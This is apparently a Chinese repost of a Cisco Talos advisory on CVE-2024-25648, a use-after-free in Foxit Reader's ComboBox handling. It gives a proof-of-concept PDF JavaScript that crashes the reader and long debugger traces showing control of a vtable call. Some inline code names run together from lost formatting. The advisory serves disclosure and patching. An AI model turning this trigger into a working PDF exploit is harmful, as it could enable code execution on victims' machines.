CVE 编号
CVE-2024-25648
概括
Foxit Reader 2024.1.0.23997 处理 ComboBox 小部件的方式存在释放后使用漏洞。恶意 PDF 文档中特制的 JavaScript 代码可以触发先前释放的对象的重用,这可能导致内存损坏并导致任意代码执行。攻击者需要诱骗用户打开恶意文件才能触发此漏洞。如果启用了浏览器插件扩展,用户访问特制的恶意网站也可能被利用。
已确认的易受攻击版本
以下版本已被 Talos 测试或验证为易受攻击,或被供应商确认为易受攻击。
福昕阅读器2024.1.0.23997
产品网址
福昕阅读器 - https://www.foxitsoftware.com/pdf-reader/
CVSSV3 分数
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE
CWE-416 - 释放后使用
细节
Foxit PDF Reader是最受欢迎的PDF文档阅读器之一。它的目标是与 Adobe 的 Acrobat Reader 功能相同。作为一个完整且功能丰富的 PDF 阅读器,它支持 JavaScript 来实现交互式文档和动态表单。 JavaScript 支持带来了额外的攻击面。 Foxit Reader使用V8 JavaScript引擎。
PDF 渲染器和编辑器中的 JavaScript 支持使动态文档能够根据用户输入或事件进行更改。 Foxit Reader处理ComboBox对象的方式存在释放后使用漏洞。这可以通过以下概念验证代码来说明:
function main() {
app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] )
getField('aaaa').setAction("Format",'delete_pages();');
app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;
}
function delete_pages() {
app.activeDocs[0].deletePages();
app.activeDocs[0].deletePages();
}
上面的代码创建了一个 ComboBox 小部件,并为其Format事件分配了一个回调函数,该回调函数会由第二次调用 立即触发addField。在操作回调中,发生的所有事情都是对 的调用deletePages,这最终会释放与页面关联的所有对象。当 ComboBox 对象被释放deletePages()并且在未经任何验证的情况下使用时,就会发生释放后使用漏洞。我们可以在调试器中观察到以下内容(启用 PageHeap):
0:000> g
eax=00420000 ebx=072fe18c ecx=00420000 edx=155d432c esi=00000004 edi=155f31a0
eip=01750027 esp=072fddac ebp=072fde00 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506d77:
01750027 8b75d8 mov esi,dword ptr [ebp-28h] ss:002b:072fddd8=12d3c4a0
0:000> g
eax=072fd530 ebx=072fd59c ecx=02904f80 edx=00000002 esi=12ceebd0 edi=12cd8198
eip=02cd56e9 esp=072fd508 ebp=072fd548 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02cd56e9 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0x116a150 (02904f80)} ;<---------------- (1)
0:000> g
ModLoad: 71380000 716d7000 C:Program Files (x86)Foxit SoftwareFoxit PDF ReaderpluginsPDFAccessibility.fpi
js call
eax=072fd530 ebx=072fd59c ecx=02904f80 edx=00000002 esi=158d1e10 edi=16417ce0
eip=02cd56e9 esp=072fd508 ebp=072fd548 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02cd56e9 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0x116a150 (02904f80)} ;<---------------- (2)
0:000> g
eax=072fae40 ebx=0c3a0174 ecx=12d3c4a0 edx=07111000 esi=0c3a0170 edi=13151348
eip=005aad36 esp=072fae64 ebp=072fd28c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xeb886:
005aad36 8b01 mov eax,dword ptr [ecx] ds:002b:12d3c4a0=0472e794
0:000> dd 12d3c4a0 ;<---------------- (3)
12d3c4a0 0472e794 133185e0 155ec3e0 12d41cc0
12d3c4b0 e0e0e000 00000001 10b9c9e8 01000101
12d3c4c0 00000004 00000000 162d49b0 00000000
12d3c4d0 10b9c944 135b09e0 157ec0d8 00000000
12d3c4e0 00000000 00000000 00000000 00000000
12d3c4f0 00000000 e0e0e000 00000000 00000000
12d3c500 00000000 a0a0a0a0 a0a0a0a0 001b0130
12d3c510 00000000 00000000 96981050 161b0152
0:000> p
eax=0472e794 ebx=0c3a0174 ecx=12d3c4a0 edx=07111000 esi=0c3a0170 edi=13151348
eip=005aad38 esp=072fae64 ebp=072fd28c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xeb888:
005aad38 6a01 push 1
0:000> p
eax=0472e794 ebx=0c3a0174 ecx=12d3c4a0 edx=07111000 esi=0c3a0170 edi=13151348
eip=005aad3a esp=072fae60 ebp=072fd28c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xeb88a:
005aad3a ff5004 call dword ptr [eax+4] ds:002b:0472e798=0174e360 ;<---------------- (4)
0:000> p
eax=12d3c4a0 ebx=0c3a0174 ecx=12d3c4a0 edx=00000001 esi=0c3a0170 edi=13151348
eip=005aad3d esp=072fae64 ebp=072fd28c iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200212
FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0xeb88d:
005aad3d 83c604 add esi,4
0:000> dd 12d3c4a0 ;<---------------- (5)
12d3c4a0 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
12d3c4b0 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
12d3c4c0 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
12d3c4d0 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
12d3c4e0 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
12d3c4f0 f0f0f0f0 f0f0f0f0 f0f0f0f0 f0f0f0f0
12d3c500 f0f0f0f0 a0a0a0a0 a0a0a0a0 001b0130
12d3c510 00000000 00000000 96981050 161b0152
在上面[1]及[2]以上,调用javascript::CFXJS_Document::deletePages_static与 JavaScript API 关联的方法。deletePages()对该方法的第二次调用调用该类deletePages_static()的析构函数方法。此析构函数调用会释放易受攻击的对象。在和 处检查易受攻击对象的值。它显示调用析构函数方法之前和之后的值。易受攻击的对象是一种 ComboBox 对象,稍后无需任何验证即可使用。崩溃时可以在调试器中观察到这一点:CBF_Widget[4]CBF_WidgetCBF_Widget[3][5]CBF_Widget
0:000> p
eax=00000000 ebx=072fe18c ecx=07111000 edx=07111000 esi=12d3c4a0 edi=155f31a0
eip=0175009b esp=072fddac ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506deb:
0175009b 8d4dec lea ecx,[ebp-14h]
0:000> p
eax=00000000 ebx=072fe18c ecx=072fddec edx=07111000 esi=12d3c4a0 edi=155f31a0
eip=0175009e esp=072fddac ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506dee:
0175009e e81d536000 call FoxitPDFReader!safe_vsnprintf+0x5ba590 (01d553c0)
0:000> p
eax=00000000 ebx=072fe18c ecx=07111000 edx=07111000 esi=12d3c4a0 edi=155f31a0
eip=017500a3 esp=072fddac ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506df3:
017500a3 c745fcffffffff mov dword ptr [ebp-4],0FFFFFFFFh ss:002b:072fddfc=00000000
0:000> p
eax=00000000 ebx=072fe18c ecx=07111000 edx=07111000 esi=12d3c4a0 edi=155f31a0
eip=017500aa esp=072fddac ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506dfa:
017500aa 8d4d24 lea ecx,[ebp+24h]
0:000> p
eax=00000000 ebx=072fe18c ecx=072fde24 edx=07111000 esi=12d3c4a0 edi=155f31a0
eip=017500ad esp=072fddac ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506dfd:
017500ad e80e536000 call FoxitPDFReader!safe_vsnprintf+0x5ba590 (01d553c0)
0:000> p
eax=155dd518 ebx=072fe18c ecx=072fde24 edx=07111000 esi=12d3c4a0 edi=155f31a0
eip=017500b2 esp=072fddac ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e02:
017500b2 8bc6 mov eax,esi
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=072fde24 edx=07111000 esi=12d3c4a0 edi=155f31a0
eip=017500b4 esp=072fddac ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e04:
017500b4 8b4df4 mov ecx,dword ptr [ebp-0Ch] ss:002b:072fddf4=072fde40
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=072fde40 edx=07111000 esi=12d3c4a0 edi=155f31a0
eip=017500b7 esp=072fddac ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e07:
017500b7 64890d00000000 mov dword ptr fs:[0],ecx fs:0053:00000000=072fddf4
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=072fde40 edx=07111000 esi=12d3c4a0 edi=155f31a0
eip=017500be esp=072fddac ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e0e:
017500be 59 pop ecx
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=12d3c4a0 edi=155f31a0
eip=017500bf esp=072fddb0 ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e0f:
017500bf 5f pop edi
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=12d3c4a0 edi=10bd0640
eip=017500c0 esp=072fddb4 ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e10:
017500c0 5e pop esi
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=10c6a018 edi=10bd0640
eip=017500c1 esp=072fddb8 ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e11:
017500c1 8be5 mov esp,ebp
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=10c6a018 edi=10bd0640
eip=017500c3 esp=072fde00 ebp=072fde00 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e13:
017500c3 5d pop ebp
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=10c6a018 edi=10bd0640
eip=017500c4 esp=072fde04 ebp=072fde4c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x506e14:
017500c4 c3 ret
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=10c6a018 edi=10bd0640
eip=00d7e5ce esp=072fde08 ebp=072fde4c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!CryptUIWizExport+0x3574e:
00d7e5ce 83c420 add esp,20h
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=10c6a018 edi=10bd0640
eip=00d7e5d1 esp=072fde28 ebp=072fde4c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!CryptUIWizExport+0x35751:
00d7e5d1 eb56 jmp FoxitPDFReader!CryptUIWizExport+0x357a9 (00d7e629)
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=3d29bcd1 edx=07111000 esi=10c6a018 edi=10bd0640
eip=00d7e629 esp=072fde28 ebp=072fde4c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!CryptUIWizExport+0x357a9:
00d7e629 8bc8 mov ecx,eax
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=12d3c4a0 edx=07111000 esi=10c6a018 edi=10bd0640
eip=00d7e62b esp=072fde28 ebp=072fde4c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!CryptUIWizExport+0x357ab:
00d7e62b 85c9 test ecx,ecx
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=12d3c4a0 edx=07111000 esi=10c6a018 edi=10bd0640
eip=00d7e62d esp=072fde28 ebp=072fde4c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!CryptUIWizExport+0x357ad:
00d7e62d 742d je FoxitPDFReader!CryptUIWizExport+0x357dc (00d7e65c) [br=0]
0:000> p
eax=12d3c4a0 ebx=072fe18c ecx=12d3c4a0 edx=07111000 esi=10c6a018 edi=10bd0640
eip=00d7e62f esp=072fde28 ebp=072fde4c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!CryptUIWizExport+0x357af:
00d7e62f 8b01 mov eax,dword ptr [ecx] ds:002b:12d3c4a0=f0f0f0f0 ; <---------------- [6]
0:000> p
eax=f0f0f0f0 ebx=072fe18c ecx=12d3c4a0 edx=07111000 esi=10c6a018 edi=10bd0640
eip=00d7e631 esp=072fde28 ebp=072fde4c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!CryptUIWizExport+0x357b1:
00d7e631 8b4044 mov eax,dword ptr [eax+44h] ds:002b:f0f0f134=???????? ; <---------------- [7]
0:000> u
FoxitPDFReader!CryptUIWizExport+0x357b1:
00d7e631 8b4044 mov eax,dword ptr [eax+44h]
00d7e634 ffd0 call eax
00d7e636 8bf0 mov esi,eax
00d7e638 c745fcffffffff mov dword ptr [ebp-4],0FFFFFFFFh
00d7e63f 8d4d24 lea ecx,[ebp+24h]
00d7e642 e8796dfd00 call FoxitPDFReader!safe_vsnprintf+0x5ba590 (01d553c0)
00d7e647 8bc6 mov eax,esi
00d7e649 8b4df4 mov ecx,dword ptr [ebp-0Ch]
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 072fde4c 029aeb05 072fde24 00000000 41500000 FoxitPDFReader!CryptUIWizExport+0x357b1
01 072fdf38 0294f51a 10b70bb0 00000000 00000004 FoxitPDFReader!safe_vsnprintf+0x1213cd5
02 072fe050 02903529 15de8118 072fe118 072fe098 FoxitPDFReader!safe_vsnprintf+0x11b46ea
03 072fe0f0 02cd56eb 15de8118 072fe120 072fe118 FoxitPDFReader!safe_vsnprintf+0x11686f9
04 072fe138 02eb9a6b 12f50ba8 27629525 12f50ba8 FoxitPDFReader!FXJSE_GetClass+0x26b
05 072fe1a0 02eb922e 072fe1e8 27629525 072fe2c4 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3cab
06 072fe234 02eb94e5 072fe264 12f50ba8 072fe2c4 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e346e
07 072fe27c 02eb936b 072fe294 00000009 072fe2e0 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3725
08 072fe298 030db17b 00000009 072fe2e0 12f50ba8 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e35ab
09 072fe2b8 030771d9 37342339 2ed520e5 00000012 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x4053bb
0a 072fe310 030771d9 2763eb6d 2ed51ddd 2ed51e31 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a1419
0b 072fe33c 03075860 2763eb6d 373421b1 2ed51ddd FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a1419
0c 072fe354 03075689 00000000 00000000 00000002 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x39faa0
0d 072fe380 02d11f4e 12f50ba8 37342339 2ed51ddd FoxitPDFReader!CFXJSE_Arguments::GetValue+0x39f8c9
0e 072fe490 02d11a42 072fe624 12f50ba8 072fe4ec FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3c18e
0f 072fe518 02cfa744 072fe624 12f50ba8 1daaf41c FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3bc82
10 072fe6c8 02cfa240 072fe764 1daaf444 00000000 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x24984
11 072fe6dc 02cd3c5f 072fe764 1daaf444 3d298585 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x24480
12 072fe754 02cd4596 1daaf41c 15c858b8 1daaf408 FoxitPDFReader!FXJSE_Runtime_Release+0xeaf
13 072fe790 02878af7 10b7d580 154f147c 15c858b8 FoxitPDFReader!FXJSE_ExecuteScript+0x86
14 072fe848 0287a129 00000000 072fe8d8 072fe880 FoxitPDFReader!safe_vsnprintf+0x10ddcc7
15 072fe860 00bb20df 072fe8d8 072fe880 3d298a41 FoxitPDFReader!safe_vsnprintf+0x10df2f9
16 072fe890 00bb0fa4 13075cf8 00000015 072fe8b8 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c69cf
17 072fe8d0 00baf9d0 186c9020 10b707f0 12e38c38 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c5894
18 072fe924 0049d322 072fe954 10b707f0 12e38c38 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c42c0
19 072fe974 0071901b 00000000 3d299749 7fffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x8852
1a 072ff598 03cb9713 00000000 00000000 3d2994b9 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x6194b
1b 072ff668 03cba8ec 00000429 00000000 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x199cc3
1c 072ff68c 03cb5292 00000429 00000000 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x19ae9c
1d 072ff700 03cb5b05 15d80558 0004094e 00000429 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x195842
1e 072ff720 750c120b 0004094e 00000429 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1960b5
1f 072ff74c 750b81ca 03cb5ad1 0004094e 00000429 USER32!_InternalCallWinProc+0x2b
20 072ff830 750b5f2a 03cb5ad1 00000000 00000429 USER32!UserCallWinProcCheckWow+0x33a
21 072ff8a4 750b5cf0 00000329 072ff8cc 0069f324 USER32!DispatchMessageWorker+0x22a
22 072ff8b0 0069f324 0c3c8fe8 0c3c8fe8 057d98e8 USER32!DispatchMessageW+0x10
23 072ff8cc 0069f3e3 057d98e8 0069f350 ffffffff FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0x1dfe74
24 072ff8ec 040e29c2 00000000 0580550c 0710e000 FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0x1dff33
25 072ff904 03e9cef1 00250000 00000000 0c3653c4 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5c2f72
26 072ff950 76ddfcc9 0710e000 76ddfcb0 072ff9bc FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x37d4a1
27 072ff960 77247c6e 0710e000 8017ce93 00000000 KERNEL32!BaseThreadInitThunk+0x19
28 072ff9bc 77247c3e ffffffff 77268c33 00000000 ntdll!__RtlUserThreadStart+0x2f
29 072ff9cc 00000000 03e9cfc0 0710e000 00000000 ntdll!_RtlUserThreadStart+0x1b
在[6]上面,我们可以观察到ecx包含相同的内存指针,该指针属于已释放的分配。 in 中的值ecx被取消引用,就像它是一个对象指针一样。这直接导致释放后使用情况并导致崩溃。后续指令构成通常的 vtable 函数调用,实际函数指针来自 指向的区域ecx。这将使攻击者能够直接控制执行控制流。
由于可以在对象释放和重用之间执行额外的 Javascript 代码,因此释放的内存可能会受到攻击者的控制。通过仔细的内存布局操作,这可能会导致进一步的内存损坏并最终导致任意代码执行。
供应商回应
供应商已提供更新版本
时间线
2024-04-01 - 供应商披露
2024-04-28 - 供应商补丁发布
2024-04-30 - 公开发布
信用
由 Cisco Talos 的 KPC 发现。
报告地址:
https://talosintelligence.com/vulnerability_reports/TALOS-2024-1959
原文始发于微信公众号(Ots安全):(CVE-2024-25648)福昕阅读器 ComboBox 小部件格式事件 UAF
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论